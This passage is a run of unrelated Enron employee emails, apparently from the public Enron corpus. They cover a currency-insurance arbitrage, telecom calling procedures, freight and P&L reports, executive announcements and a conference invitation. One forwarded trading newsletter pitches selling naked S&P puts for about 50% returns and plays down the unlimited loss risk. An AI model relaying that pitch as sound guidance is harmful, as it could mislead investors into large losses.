crossborder loan and pay the bank in USD.  Enron now has an intercompany loan 
and associated R$ which it can't convert into USD.  So we would give the loan 
and R$ to the insurance company and 180 days later we would get paid in USD 
(no deval. risk).  

The arbitrage is basically that the insurance market charges less for 
protection than the capital markets.  No cash is required (but we probably 
need Corp. to stand behind it all).  Martin has priced out Lender's insurance 
at around 2% per annum for 5 years.   Convertibility protection in the credit 
derivative market might earn as much as between 3- 4% per annum (we need to 
negotiate with some of the US inv. banks).  They are essentially the same 
type of protection, so I am not sure why the differential is so large other 
than the waiting period and/or the markets sell to different customer sets.

Martin has requested docs. from AIG and I have requested docs. from CSFB.  
Assuming that legal/tax does not see any major issue (there is always some 
residual risk), we may need to move on this fast as apparently AIG has about 
$150M available right now.  So this is an FYI email that once Martin and I 
have completed an initial review, if all looks good we will want to move fast 
through due diligence/approval process.

Regards,  Bruce       

Thanks John. 
I got a huge kick out of Paige struggling with the email to you.  She's a 
terrific writer, but had horrible writer's block.  I think it was the dose of 
reality which comes from looking for a job.

Kay

I put my stuff out there today, I will email you some pics to attach to it 
tonight.
PL

As you know, Enron Net Works (ENW) and Enron Global Strategic Sourcing (GSS) recently executed a two-year agreement, whereby MCI WorldCom would serve as Enron's primary telecommunications provider.  In our previous communication, we indicated that we would provide you with more detailed information as it became available.

Beginning Friday, October 26, 2001 at 9 a.m. C.S.T, the procedure for calling Enron's Houston offices from international locations, excluding Canada, using the 800-97-Enron phone number will change.  The new procedure is as follows: 

1.	Please dial the WorldPhone International Access number for the country where you are located (country access code), which is available on the attached wallet card, accessible through the following link:  http://home.enron.com:84/messaging/mciannouncement.doc.    
2.	You will then be prompted for your PIN number.  Since calling cards and pin numbers are not required to use this service, all users should respond by dialing 1-800-97-ENRON or 1-800-973-6766. 
3.	You will then be asked to enter your destination.  Please dial 0-800-97-Enron (800-973-6766) to reach Enron's corporate offices in Houston.
  
This procedure can only be used to call 800-97-Enron from WorldPhone International locations.  If you are calling from the U. S. or Canada, please continue to dial 1-800-97-ENRON.
  
If you have questions regarding commercial aspects of this agreement, please feel free to contact Tom Moore, GSS senior contract manager at 713-345-5552.  For technical issues, please contact Hasan Imam, ENW IT manager at 713-345-8525.   
 
----- Forwarded by Sara Shackleton/HOU/ECT on 06/12/2000 09:31 AM -----

	Lauren Hagerty@ENRON_DEVELOPMENT
	06/09/2000 03:18 PM
		 
		 To: Sara Shackleton@ECT, Lena Kasbekar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: Donna Lowry@ECT
		 Subject: Trading Account for India

Sara,

I have drafted the attached based on what we did for the GDR acquisition.  
Could you check the non-India trading names and titles to make sure they are 
current.  I checked with Samantha but she said she was having computer 
problems and wasn't familiar with the names.  And, obviously, we will not 
have this done by Monday morning.  Is there anything we can do to get the 
account opened on an expedited basis and then follow up with paperwork later?

Lena,

Once Sara checks the non-India names, may I have your permission to put your 
initials on these documents and get them signed?

Thanks,
Lauren

I am not going with AEP.  So please don't include me in your estimates.

D

From: Dena Pawlowski/ENRON@enronXgate on 03/29/2001 02:47 PM
To: Edward D Gottlob/HOU/ECT@ECT, Elsa Villarreal/HOU/ECT@ECT, Greg 
McClendon/HOU/ECT@ECT, Danny Conner/NA/Enron@Enron, Lauri A 
Allen/HOU/ECT@ECT, Kenny J Soignet/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Gary 
A Hanks/HOU/ECT@ECT, Silver Breaux/HOU/ECT@ECT, Sam Garner/HOU/ECT@ECT, Kathy 
Hilliard/HOU/ECT@ECT, Lee Pinkston/HOU/ECT@ECT, Sean J Smith/HOU/ECT@ECT, 
Earl Tisdale/HOU/ECT@ECT, David Hohl/NA/Enron@Enron, Michael C 
Winders/HOU/ECT@ECT, Brian M Riley/HOU/ECT@ECT, Michael C 
Bilberry/HOU/ECT@ECT, George Weissman/HOU/ECT@ECT, JoAnne 
Harris/NA/Enron@Enron, Christy Sweeney/HOU/ECT@ECT, Greg 
Brazaitis/HOU/ECT@ECT, Lee L Papayoti/HOU/ECT@ECT, Gary W 
Lamphier/HOU/ECT@ECT, Michael W Morris/HOU/ECT@ECT, Steve HPL 
Schneider/HOU/ECT@ECT, Jack Simunek/HOU/ECT@ECT, Nathan L 
Hlavaty/HOU/ECT@ECT, Ron Green/HPL/Enron@Enron, Gerald Lofton/HOU/ECT@ECT, 
Cheryl Marshall/HOU/ECT@ECT, Emma Kam Welsch/HOU/ECT@ECT, John 
Towles/NA/Enron@ENRON, Karl E Atkins/NA/Enron@ENRON, Robert 
Rose/NA/Enron@ENRON, Debbie Boudar/NA/Enron@ENRON, Aric 
Archie/NA/Enron@Enron, Tom Shelton/HOU/ECT@ECT, Kenneth W Kaase/HOU/ECT@ECT, 
Robert Cook/HOU/ECT@ECT, John Handley/HOU/ECT@ECT, Robert 
Crockett/HOU/ECT@ECT, Molly L Carriere/HOU/ECT@ECT, Barbara 
Sargent/HOU/ECT@ECT, Brad Blevins/HOU/ECT@ECT, Lal Echterhoff/HOU/ECT@ECT, 
James R Haden/HOU/ECT@ECT, Kevin Kuehler/Corp/Enron@ENRON, Tom 
Fry/GCO/Enron@Enron, Dick Danes/GCO/Enron@ENRON, Vicente 
Sarmiento/GCO/Enron@Enron, Joe Zernicek/GCO/Enron@Enron, J R 
Fosdick/GCO/Enron@Enron, Reid Hansen/GCO/Enron@Enron, Calvin 
Dodd/GCO/Enron@Enron, Bac Thi Ly/GCO/Enron@Enron, Daren J Farmer/HOU/ECT@ECT, 
Irene Flynn/HOU/ECT@ECT, Donna Consemiu/HOU/ECT@ECT, Cathy L 
Harris/HOU/ECT@ECT, Howard B Camp/HOU/ECT@ECT, Jackie Morgan/HOU/ECT@ECT, 
Cheryl Dudley/HOU/ECT@ECT, Veronica I Arriaga/HOU/ECT@ECT, Amelia 
Alland/HOU/ECT@ECT, Michael Walters/HOU/ECT@ECT, Julie Meyers/HOU/ECT@ECT, 
Mary M Smith/HOU/ECT@ECT, Tom Acton/Corp/Enron@ENRON, Mary 
Poorman/NA/Enron@Enron, Aimee Lannou/HOU/ECT@ECT, Carlos J 
Rodriguez/HOU/ECT@ECT, Sabrae Zajac/HOU/ECT@ECT, Robert Cotten/HOU/ECT@ECT, 
Trisha Hughes/HOU/ECT@ECT, Jackie Young/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT, 
Leslie Robinson/Corp/Enron@ENRON, Jason Vogler/NA/Enron@Enron, Karen 
Lindley/Corp/Enron@ENRON, Anita Luong/HOU/ECT@ECT, Thu T Nguyen/HOU/ECT@ECT, 
Cynthia Hakemack/HOU/ECT@ECT, Gregg Lenart/HOU/ECT@ECT, Charlene 
Richmond/HOU/ECT@ECT, Paul Couvillon/Corp/Enron@Enron, Joanie H 
Ngo/HOU/ECT@ECT, Rebecca Griffin/NA/Enron@Enron, Nick 
Moshou/Corp/Enron@ENRON, Yvette Miroballi/HOU/ECT@ENRON, Karen 
Gruesen/HOU/ECT@ENRON, Blanca A Lopez/HOU/ECT@ENRON, Anita 
Eisenbrandt/HOU/ECT@ENRON, Jacquelyn Azore/ENRON@enronXgate, Erica 
Wright/ENRON@enronXgate, Ana Maria Hernandez/ENRON@enronXgate, Donald P 
Reinhardt/HOU/ECT@ENRON, Vance L Taylor/HOU/ECT@ENRON, Susan 
Smith/HOU/ECT@ENRON, Susie Orsak/ENRON@enronXgate, Carol 
Carter/HOU/ECT@ENRON, Liz Bellamy/NA/Enron@Enron, Melanie 
Facundo/HOU/ECT@ECT, Saidia Matthews/NA/Enron@ENRON, Monica 
Jackson/Corp/Enron@ENRON, Dena Pawlowski/ENRON@enronXgate, Katie 
Washington/NA/Enron@Enron, Suzanne Garcia/NA/Enron@ENRON, Clem 
Cernosek/HOU/ECT@ECT, Jane Coleman/ENRON@enronXgate, Adriana 
Peterson/HOU/ECT@ECT, Theresa McKinney/HOU/ECT@ECT, Candace L 
Bywaters/HOU/ECT@ECT, James I Ducote/HOU/ECT@ECT, Kreg Hall/HOU/ECT@ECT, Rosa 
Brown/Corp/Enron@Enron, Eugene Peabody/GCO/Enron@Enron, Bob 
Camp/GCO/Enron@Enron, Esther Buckley/HOU/ECT@ECT, Eric H 
Mason/Corp/Enron@Enron, Sherlyn Schumack/HOU/ECT@ECT, Ruby 
Wagoner/HOU/ECT@ECT, Mary Comello/Corp/Enron@Enron, Lisa Hesse/HOU/ECT@ECT, 
Juanita Marchand/HOU/ECT@ECT, Mark McCoy/Corp/Enron@Enron, Chris 
Riegler/Corp/Enron@Enron, Kimberly Vaughn/HOU/ECT@ECT, Robert 
Geheb/OTS/Enron@Enron, John Peyton/HOU/ECT@ECT, Anna Arnold/HPL/Enron@ENRON, 
Tess Ray/ENRON@enronXgate, Megan Parker/Corp/Enron@ENRON, Bryce 
Baxter/HOU/ECT@ECT, Jack Peebles/ENRON@enronXgate, Jennifer D 
Pattison/HOU/ECT@ECT, Joyce Viltz/ENRON@enronXgate, Willie 
Brooks/NA/Enron@Enron, Bob Fisher/NA/Enron@Enron, Michael 
Olsen/NA/Enron@Enron, Mike Potter/NA/Enron@Enron, Karl Stewart/HOU/ECT@ECT, 
Buddy Majorwitz/HOU/ECT@ECT, Charles Howard/NA/Enron@ENRON, William D 
Cosby/GCO/Enron@Enron, Jack Kemp/Corp/Enron@ENRON, Keith 
Tyree/NA/Enron@ENRON, Bud Wolcott/Corp/Enron@ENRON, Travis 
Moss/NA/Enron@Enron, Larry White/Corp/Enron@ENRON, Cheryl 
Jones/HPL/Enron@ENRON
cc: Dena Pawlowski/ENRON@enronXgate 
Subject: Parking at 1201 Louisiana

All,

For those of you who have not responded to the prior parking email, please 
take a moment in doing do, as I am trying to get a firmed up number for 
future parking in our new building @ 1201 Louisiana.  I need to get the name 
of the garage that you are currently parking in.  This would include those of 
you that ride the bus, participate in the vanpool or park on a surface lot. 
Thank you in advance for your cooperation.  

Regards,

Dena Pawlowski
ENRON North America
Office:  713-853-5073
Pager:  281-631-1310

---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 12/18/2000 
08:03 AM ---------------------------
   
	From:  Chris Connelly                           12/18/2000 01:56 AM
	
To: George McClellan/HOU/ECT@ECT, Stuart Staley/LON/ECT@ECT, Jeffrey A 
Shankman/HOU/ECT@ECT, Mike McConnell/HOU/ECT@ECT, Kevin 
McGowan/Corp/Enron@ENRON, Tom Mcquade/HOU/ECT@ECT
cc: Peter Bradley/LON/ECT@ECT, Jez Peters/LON/ECT@ECT, Candace 
Parker/LON/ECT@ECT, Kenny Nicoll/LON/ECT@ECT, Dimitri Taylor/LON/ECT@ECT, 
Andy James/EU/Enron@Enron, Cornelia Luptowitsch/LON/ECT@ECT 
Subject: Freight weekly report

Enron Shipping Services Weekly report 51/2000

Highlight

The cape market continues on its downward momentum with this time bunkers ( 
Fuel Oil ) helping the slide as they have lost approx. $30 in the last couple 
weeks and make the costs of running the ships significantly less.  Panamaxes 
have on the other hand, started a slow upward trend.  Most bundits think that 
this latest rise might be the 'dead cat bounce'.  The Japanese buyers and the 
US exporters of grain had stopped shipping grains over the last few weeks 
while arguing over 'starlink' which is basically genetically modified crops 
while all the panamaxes were getting stuck in the US gulf awaiting the news 
of resumed shipping.  When the US and Japan settled their dispute last week, 
Shipments of grain to Japan immediately resumed, and the panamax market 
quickly reversed trend and starting going up.  

With the Christmas season quickly approaching, we expect the market to slow 
down dramatically with owners and charterers wanting to fix their remaining 
positions quickly.   This is the last report in 2000.  Have a good holiday 
and see you next year !!!

Market
	Short term	Medium term	Long Term
Handy Max	Down	Down	Down
Panamax	Up	Up	Flat
Cape Size	Down	Down	Down

Deals Done
Physical Freight
ECS freight 
Fixed a Cape on TC to cover our short against the Ausi/Constanza deal for Dec 
loading
Third parties freight deals
We fixed clean the Bao Steel contract 
OTC 
FFA s
Numerous swaps on both the Cape and Panamax routes
      
EOL
Traded with two new counterparties:  Billiton & Duke energy for a total of 
385,000 tons
Travels
All three of us should be in all week

Attached are the 6/00 financial liquidations for Ontario, People, and Sithe 
Regions.  Please refer to the sheet with  "Recon Variances"  tab for the 
details supporting the summary page.   The summary is modified to include two 
columns of "Resolved Amt" & "Remaining To Be Resolved" for Gas Acctng and 
Economics to update/track their respective sections.  Please communicate 
questions or adjustments to Jim Little or myself.  Thks!

At Enron Net Works, it has become clear that we have a tremendous opportuni=
ty=20
to utilize our unique strengths, skills and new business efforts across an=
=20
entire new set of opportunities being created in the private equity markets=
. =20
Because of this, we have reorganized the Enron Net Works Investments Group=
=20
with the view to leveraging the group better across strategic opportunities=
=20
in the eCommerce and technology space, and within Enron.

Effective immediately, Jay Fitzgerald will take responsibility for setting=
=20
ENW=01,s investment strategy and the implementation of that strategy.  Repo=
rting=20
to him in this new role will be Steve Horn and the venture investing group.=
 =20
Further, Allan Sommer will be joining Jay=01,s team to focus on developing =
new=20
market opportunities, with a focus on working with the various domestic and=
=20
international Enron business units to develop eCommerce-related businesses=
=20
and strategies.

Jay will be working out of both the New York and Houston offices in his new=
=20
role, and may be reached at jay@enron.com or by phone at either (212)=20
702-3934 or (713) 853-9914.

Hello everyone:

Start practicing!  We are going to have an outing and volleyball game for 
the Research employees and their families!.

Details are as follows:

The Broker report looks incorrect to me.  Please stop by and we can go over some of the trades.

Thanks,
Mike

From: 	Bike, Anne  
Sent:	Wednesday, October 17, 2001 10:41 PM
To:	Grigsby, Mike; Mike Grigsby @ Home (E-mail)
Cc:	Gossett, Jeffrey C.
Subject:	Wednesday's P/L

Mike:  Everything in the P/L looks good to me.  I have attached the cover sheet and the reconciliation.  The estimate was off on the gas daily curve shift because Monte Lost connection to Randy's files. This meant that on the estimate, the liquidated day was incorrect.  When I run it, we are much closer (within $20,000), but this is not the # you went home with.  This issue will be resolved tomorrow ensuring that the estimate will be more accurate.  

The next largest item on the reconciliation is the transport model.  There is not one deal that stands out as the culprit.  I need to do some more investigating as to how to improve the transport model estimate.  It may be discounting.  The curves and the spreads are all accurate.

The status of the three items we discussed today are: 

1. I am working away at the new deal model.  Kieth and I are in agreement as to the basic form.
2. I gave you the broker report.; and
3.  Jeff is working with confirmations to get you both the broker confirms and our confirms so that you can sign off on them.
3a. I am also working on the desk to desk physical report.  I was unable to run the report I initially had in mind.  I will let you know.

I am trying very hard to provide the information you need in a timely accurate fashion.  If you have any suggestions as to how Monte and I can improve, please tell me.

See you tomorrow.

Anne

 << File: newCurrentDay10_17_2001_MIKE.xls >>  << File: P&L_Mike.xls >> 

Hi Team!  I will be out of the office on Friday, March 31st.  Please call 
Scott Goodell at 713-853-7711 with any questions you may have.

Later

Narsimha,

The NYMEX may require the aggregation of employees trading with the trades of 
the Company.  Further, Enron Company Policy prohibits employees from trading 
any commodities products that the company trades.  Therefore, in the future, 
please do not trade any products the company trades.  If you have any 
questions as to a specific product, please call me at x33399.

	Mark Taylor
	06/22/2000 08:48 AM
		 
		 cc: 
		 Subject: Re: Enron North America Corp. NYMEX Hedge Exemption Applications

----- Forwarded by Mark Taylor/HOU/ECT on 06/22/2000 08:48 AM -----

	Narsimha Misra@ENRON
	06/22/2000 07:30 AM
		
		 cc: 

I am in the process of opening a commodities account.
-narsimha

I would agree, as long as the payment was before Jan 1, so that they would be current before the next month flows began.    To the extent that they are not current then they do not meet the creditworthiness standards.     So as a solution to the whole thing, they pay on monday and we will forget the bad credit issue.    They pay after that and they are reported as a late payor/non-creditworthy.   It's at least a choice for them to make. 

From: 	Watson, Kimberly  
Sent:	Friday, December 28, 2001 2:51 PM
To:	Rapp, Bill; Hayslett, Rod; Cherry, Paul; Lohman, TK; Fossum, Drew; Porter, J. Gregory
Cc:	Harris, Steven; Lindberg, Lorraine
Subject:	FW: Richardson Products Co.

I've made a few changes as marked.  We should talk about whether or not we will accept immediate payment for the Nov. bill sufficient to bring them back to credit worthiness for their ongoing business or require them to provide additional security or Letter of Credit.  Comments?

Kim

From: 	Rapp, Bill  
Sent:	Friday, December 28, 2001 2:29 PM
To:	Hayslett, Rod; Cherry, Paul; Watson, Kimberly; Lohman, TK
Cc:	Fossum, Drew; Porter, J. Gregory
Subject:	Richardson Products Co.

Attached for your review and comments is a draft of a letter to Richardson Products Co. demanding security or payment of the outstanding invoice. 

 << File: SRCredit.doc >> 

FYI - We don't have any active contracts behind this meter.  There was a 
dedicated reserves purchase contract with Phoenix Gas Pipeline Company that 
terminated 7/31/99.  There was also a GTC - 1st Purchaser/Marketer with El 
Sordo Gathering Systems, Inc. which expired 8/1/99.

If you are aware of any other contract that we don't reflect in the Global 
Contracts database, please let me know.  Otherwise, there isn't any action 
that my group needs to take regarding this shut-in.

	From:  Gary A Hanks                           06/15/2000 11:18 AM
	
To: Cheryl Dudley/HOU/ECT@ECT, Pat Clynes/Corp/Enron@ENRON, Daren J 
Farmer/HOU/ECT@ECT, Shawna Flynn/HOU/ECT@ECT, James McKay/HOU/ECT@ECT
cc:  
Subject: Shut-in of #986315

Meter 0986315 Shawnee Spring Common Point was shut-in on 6/13/2000 due to 
high dew point.  Repeated attempts by the pumper to dry out the gas have 
failed.  The meter will remain shut-in until the dew point is within pipeline 
quality specs. 

Gary H.
---------------------- Forwarded by Gary A Hanks/HOU/ECT on 06/15/2000 10:47 
   
	From:  Sean J Smith                           06/14/2000 05:55 PM
	
To: Gary A Hanks/HOU/ECT@ECT
cc:  
Subject: #986315

I received a call from Carl Drachenberg with HMS at approximately 1:45 PM on 
6/13/00 stating that he pulled a stick on meter #986315 and it was wet and 
flowing at 35 lb. I asked Gary Hanks what we want to do and he said to have 
Carl notify the producer and shut it in.   I notified Carl and he got in 
touch with the producer and they shut the compressor down at approx. 2 PM on 
6/13 and at that time there wasn't any flow.  Carl came back out there at 8 
AM on 6/14 and closed the valve and removed the chart. There was no flow 
after they shut the unit down and it was flowing between 500 and 300 mcf.  
The meter is now out of service.

Any questions - you know where to find me.

(After reading this article, for a detailed discussion of writing
options on the S&P, listen to Michael Pinson's interview of James
Cordier on the Market Mavens Radio Show from January 2,
2002.)  Click here:
http://www.marketmavens.com/marketmavensradio020102.rm

High Percentage Trading on the S&P
By: James Cordier, Michael Gross, Liberty Trading Group
From: MarketMavens.com, January 8, 2002

With the volatility and higher option premiums, the S&P can be an
ideal market for the properly capitalized trader to write option
premium for increased returns. As we all know, this is the king of
the futures markets, and thus deserves the respect of the option
writer. For this reason, we only participate in the most
conservative of trades when dealing with this contract. Option
sellers (as well as their brokers) like to sleep at night. That being
said, the rewards can still be very attractive.

While we do not pretend to know what the stock market is going
to do, we cannot help but get caught up in the positive outlook
for 2002. Barring another catastrophic terrorist attack, we find it
hard to imagine any reason the stock market would go below the
lows set back in September.

For that reason, we recommend the following simple, high
probability strategy which, if successful, will yield about a 50%
return within 6 months.  Instead of trying to pick individual stocks,
or trying to guess what the S&P will do tomorrow or next week, a
trader takes an "alternate" way out.

At the time of this writing, the June S&P is trading at about 1169.
A trader can SELL a June S&P 825 put option and collect about
$1,200 for every option sold. The margin to do this is around
$2,400 per option at this time. For the option to go in the money,
the June S&P would have to fall over 343 points before June.
(That is a full 125 points below the low established in the wake of
September 11th.)

If the market moves higher from here, it should be an easy ride as
the option deteriorates and expires worthless, and the option
seller keeps the money. If the market stays steady, the option
expires worthless, the option seller keeps the money. If the
market falls but stays above 825, the option expires worthless,
the option seller keeps the money. Only if the market is Below
825 at expiration, does the seller have a loss.

However, before you run out and liquidate the retirement
account, lets take a look at the downside possibilities of the
trade. First of all, this trade is only recommended for the
comfortably capitalized account. A drop of 100, 200, or even 300
points in the S&P would still not put your option in the money. But
it may temporarily increase the value of your option and thus also
your margin requirement. A trader should have adequate back up
capital in his account if he intends to "ride out" such an
occurrence. The other risk, of course, would be the futures being
below 825 at option expiration, which makes the trader long the
June S&P at 825, not necessarily a bad thing. However, if the
market continues to fall down past 825 and the trader continues
to hold his position, losses could be substantial.

Stock traders considering this strategy should ask themselves the
following question: What type of return do I hope to make on my
stock portfolio by June of this year? Is it close to 50%? What type
of losses would I incur in my stock portfolio if the S&P fell to 825?
In the option trade, you still make 50%. In a move below 825, the
odds are good for a lot of traders that the losses they would incur
in their stock portfolio would be much greater than being short
the S&P at 825. In other words, we think this is a good way to
trade the stock market.

As we said in the beginning, we don't know what the stock
market is going to do. But from a risk standpoint, we like being
long from 825. If you would like to discuss trading this way for
your account, please feel free to give us a call at 800-346-1949
and I will be glad to discuss this strategy with you.

For a more detailed discussion of this trading strategy on the S&P,
please listen to James Cordier's interview by Michael Pinson of
Pinson Communications on the Market Mavens Radio show from
January 2, 2002. The recorded version of this interview is
available free to you on the Market Mavens website. To listen to
the interview now, go to

James Cordier
Michael Gross
Liberty Trading Group
800-346-1949

To get additional commentary on Coffee, Soybeans, Orange
Juice and other commodities, request your free issue of the
Option Seller newsletter or to get account opening information,
feel free to visit our website at http://www.optionsellers.com

* To be removed from this list, please reply with "Unsubscribe" as
the subject and you will be removed.

***The information contained herein has been carefully compiled
from sources believed to be reliable, but it's accuracy is not
guaranteed. Use it at your own risk. There is risk of loss in all
trading. Past performance is not necessarily indicative of future
results. Traders should read the "The Option Disclosure
Statement" before trading options and should understand the
risks in option trading, including the fact that any time an option is
sold, there is an unlimited risk of loss, and when an option is
purchased, the entire premium is at risk. In addition, any time an
option is purchased or sold, transaction costs including
brokerage and exchange fees are at risk. Nor representation is
made that any account is likely to achieve profits or losses similar
to those shown, or in any amount. An account may experience
different results depending on factors such as timing of trades
and account size. Before trading, one should be aware that with
the potential for profits, there is also potential for losses, which
may be very large. All opinions expressed are current opinions
and are subject to change without notice.

cacio,
try jshankm@enron.com
john

"Cacio P. Carvalho" <cacio@copergas.com.br> on 01/17/2001 12:21:11 PM
Please respond to <cacio@copergas.com.br>
To: <john.arnold@enron.com>
cc:  
Subject: A SUPER 2001(from BRAZIL)

Dear  John,

First of all, congratulations. You have made headlines in Brazil.
Whenever you come to our country, let me know, so I can provide you with
assitance.

When convenient, please let me know Jeff Shenkman's(Enron Global Markets)
email, so I can get in contact.

All the best,

Cacio Carvalho

Dear Jeff,
After reading a series of reports on Enron Global Markets,  I decided to get
in contact.
I live in Brazil and had a chance to meet Jim Ballantine whom was(until
recently) heading Enron's operations in Brazil.
Currently, I work as an Strategic Planning Manager at Copergas, a Natural
Gas Distributor located in Northeast Brazil (partly owned by Enron).
Jim once mentioned that EOL intends to come to Brazil. According to the
press, Enron Global Markets will be responsable for expanding the EOL
platform worldwide.
I want you to know that my professional background includes IT, Government,
Marketing and Business Development. When Enron Global Markets decides to
expand into Brazil, let me know.  I will be more than happy to join such an
outstanding team.
My best  and a SUPER 2001,

Start Date: 1/9/02; HourAhead hour: 15;  HourAhead schedule download failed. Manual intervention required.

It is my great pleasure to announce that the Board has accepted my=20
recommendation to appoint Jeff Skilling as chief executive officer, effecti=
ve=20
at the time of their next board meeting on February 12, 2001.  Jeff will al=
so=20
retain his duties as president and chief operating officer.  I will continu=
e=20
as chairman of the Board and will remain at Enron, working with Jeff on the=
=20
strategic direction of the company and our day-to-day global operations.

Jeff will assume the role at a time when the company is hitting on all=20
cylinders and is positioned for phenomenal growth.  He is clearly ready for=
=20
the job, and after 15 years as CEO of this great company, I=01,m ready for =
a=20
somewhat different role.

Our succession plan has been clear for some time.  This has afforded Jeff a=
nd=20
me the freedom to combine our strengths toward building a company that=20
continues to exceed everyone=01,s expectations, including our own.  We look=
=20
forward to furthering that relationship as Jeff expands his role.

There are no plans for any other changes in our management team nor broad=
=20
shifts in strategy and direction.

Please join me in congratulating Jeff.  I look forward to a great 2001.

With a typical contractor a tight schedule usually increases the cost. You 
might check to see how much a delay in COD to, say Aug 1,  might lower the 
cost of construction.  Not to say that it will, but it might.

Lee asked that I pass this along.  Please let me know if you want some 
tickets.

Kay

---------------------- Forwarded by Kay Mann/Corp/Enron on 02/06/2001 02:38 

lee.johnson@ss.ps.ge.com on 02/02/2001 01:31:44 PM
To: ben.f.jacoby@enron.com, mike.coleman@enron.com
cc: bruce.golden@enron.com, chris.booth@enron.com, kay.mann@enron.com 

Subject: Rodeo BBQ invitation

Ben/Mike,

Please share this invite with the rest of the team that's been supporting
the N. America business with LM6000s and other GE Power Systems products.
I'll be there both nights.  Just have your folks just respond by e-mail so I
can get you the passes and tickets.

Thanks again for all your business,

Lee Johnson
713-803-0952

 <<BBQinvite_Enron.doc>>

 - BBQinvite_Enron.doc

Ina:
Can you get a small drink refrigerator for the office stocked with:
Water (lots)
Diet Coke
Coke
Dr. Pepper
Diet Pepsi
Various Fruit Drinks

Thanks,
John

Everyday heroes are all around us at Enron, living our core values of 
Respect, Integrity, Communication and Excellence in everything they do.  Some 
of these heroes make a big splash while others just quietly make a difference 
in the workplace around them.  Either way, these special individuals deserve 
to be recognized with a nomination for the 2000 Chairman's Award.

As there is more than just one employee living the values at Enron, this 
award program will honor 10 employees as members of the Chairman's 
Roundtable.  From that group, the one individual most embodying our values 
will be presented with the Chairman's Award at the Management Conference in 
San Antonio in November.

The beauty of this award program is that it is completely employee-driven 
from beginning to end.  From your nominations, an international employee 
committee will select the Chairman's Roundtable and eventually, the 
Chairman's Award winner.  Your role of nominating our everyday heroes is 
extremely vital to the program's success.  If someone has made a positive 
impression on you, please take the time to complete a nomination form and 
send it to Charla Reese by October 1, 2000.  You may click here for a 
printable form:  http://home.enron.com/announce/chairman_nom/form3.doc

For more information on the Chairman's Award, including details on last 
year's Roundtable members and previous winners, Repit Suliyono and Bobbye 
Brown, please click here: http://home.enron.com/announce/chairman_nom

Again, this is a very special award at Enron and we sincerely thank you for 
your participation.

Ken, Jeff and Joe

Greg,
After our discussion yesterday, thought you might be interested in presenting 
our views on corporate venturing.  This was an invitation for Jeff, but he 
will be in a San Fran meeting and won't be able to make it.
Cheers'
Hamd

Alhamd Alkhayat
+1(713)853-0315
----- Forwarded by Alhamd Alkhayat/NA/Enron on 12/06/2000 11:27 AM -----

	"Herrin, Angelia" <aherrin@hbsp.harvard.edu>
	12/06/2000 11:04 AM
		 
		 To: "'alhamd.alkhayat@enron.com'" <alhamd.alkhayat@enron.com>
		 cc: 
		 Subject: A new and update version!!!!!

  Mr. Alkhayat:

     Thank you for talking with me earlier. Enron's innovative corporate
venturing is a key part of one of Harvard Business School Publishing's new
best-sellers, Gary Hamel's "Leading the Revolution." Now, we're eager to
extend that conversation about innovative strategy approaches with an
upcoming conference in New York 

   We've targeted a small group of leaders to come together to talk about
strategies for innovative programs that contribute to the corporate bottom
line, both financially and strategically. We're calling this one-day
conference Corporate Venturing: Strategic Investing on Innovation's Edge.

   Ken Chenault, the COO and president of American Express and Michael
Ruettger, the CEO of EMC have both agreed to be part of the program, which
is now scheduled as a half-day gathering on Thursday, Feb. 8.  We would very
much like to have Mr. Skilling be a part of a panel/roundtable discussion
about ways corporations are exploring new technology and markets, generating
new business and creating new value. Mr. Skilling's experience in Enron's
strategic venturing "from the inside out" would be a particularly valuable
part of the discussion.

   This is going to be a small conference, limited to about 50 to 75
attendees in the audience, so there can be lively discussion. I know I speak
for HBSP and for our co-sponsor, Bain & Co., that Mr. Skilling would be an
important part of what is shaping up to as a very interesting conference. We
at HBSP believe this newly-launched conference series will become an
important part of our publishing and content development.

   Let me know if I can supply more information. Attached are our "thought
outlines" for topics that the panel would discuss.

Angelia

P.S. The panel line up now includes, Paul Guehler, VP of R&D at 3M, Rich
Bressler, CEO Time Warner Digital, Henry Chesbrough of HBS, Susan Mayer,
President MCI WorldCom Venture Fund, Brenda Gavin, President SR1 Fund,
SmithKline Beecham, Petra Koselka from Shell. We apparently have a
commitment from Cargill, but it's not in final final confirmation! 
  
     Agenda

Corporate Venturing
Strategic Investing on Innovation's Edge

Corporate venturing is the new engine behind the growth and revitalization
of companies that need to take advantage of technology and markets, expand
into new businesses and find strategic partners.

The corporate venturing conference will explore the strategies for venture
programs that contribute to the corporate bottom line - both financially and
strategically. Strategists and practitioners will lead discussions about the
best models for investing in innovation outside the corporation, as well as
managing the venture to ensure success. Topics will include corporate
venturing trends, managing the integration and relationship with emerging
companies, when and how to attract outside capital, and issues surrounding
retention, compensation and the spin-off of a corporate venturing fund.

This conference, limited to 50 to 75 attendees, is intended for CEOs, COOs,
CFOs, division presidents and other operating officers.

Program Outline

Thursday, February 8, 2001
The Four Seasons
New York

7:30 a.m. Breakfast

8 a.m. Opening session
A Conversation with Ken Chenault,  President and COO, American Express  

8:45 a.m. First Presentation:
           The Venture Capital Revolution: An Overview 
                             
     Corporate venture programs followed a start-and-stop pattern of growth
over the last 25 years.  But in the past decade, the number of corporate
funds and the size of their investments skyrocketed. What is behind these
dramatic changes,  as corporations move to harness the venture capitalists'
model. Why should  "outsourcing innovation" be a part of your growth
strategy? 

9 a.m. First Panel
             The Strategic Venture: When to Reach Outside

       Corporate venturing is a complex undertaking. Research shows that
success depends on carefully targeted planning to integrate R&D strategy
functions and the corporate venture. This panel focuses on these questions: 

*   When do you know it is time to set up an independent business?
*   How do you think about venturing vs. expanding your core business? 
*   How are companies in every industry using corporate venture capital
as a tool to identify and develop new products ahead of the competition, as
well as create new partnerships?
*   What are the key measures successful companies use to determine
where and how dollars are invested in outside innovation? How can decisions
about what  NOT to invest in shape the funds direction?
*   How do successful companies balance the competing demands for fast
direct financial return versus long-term indirect gains in R&D? 
*   What are the strategic advantages in traditional funds, partnerships
with venture capitalists and hybrid forms?

BREAK

10:30 a.m. A Conversation with Michael Ruettgers, CEO, EMC 

  11:50 a.m. Second Panel
           Managing the Venture: Partnerships and Opportunities

      A strong corporate venture program must align  the activities of the
innovators, operational partners and equity partners,, inside and outside
the  company This panel focuses on  these questions:

*   What kind of governance and oversight relationships should the
corporation build with emerging companies, to leverage innovation without
stifling new ideas?
*   Do new technology buildouts demand a different kind of management?
*   How does the corporate "exit strategy" - public offerings vs.
acquisition --  affect investments and partnerships?
*   How can  an internally generated idea for a new business be
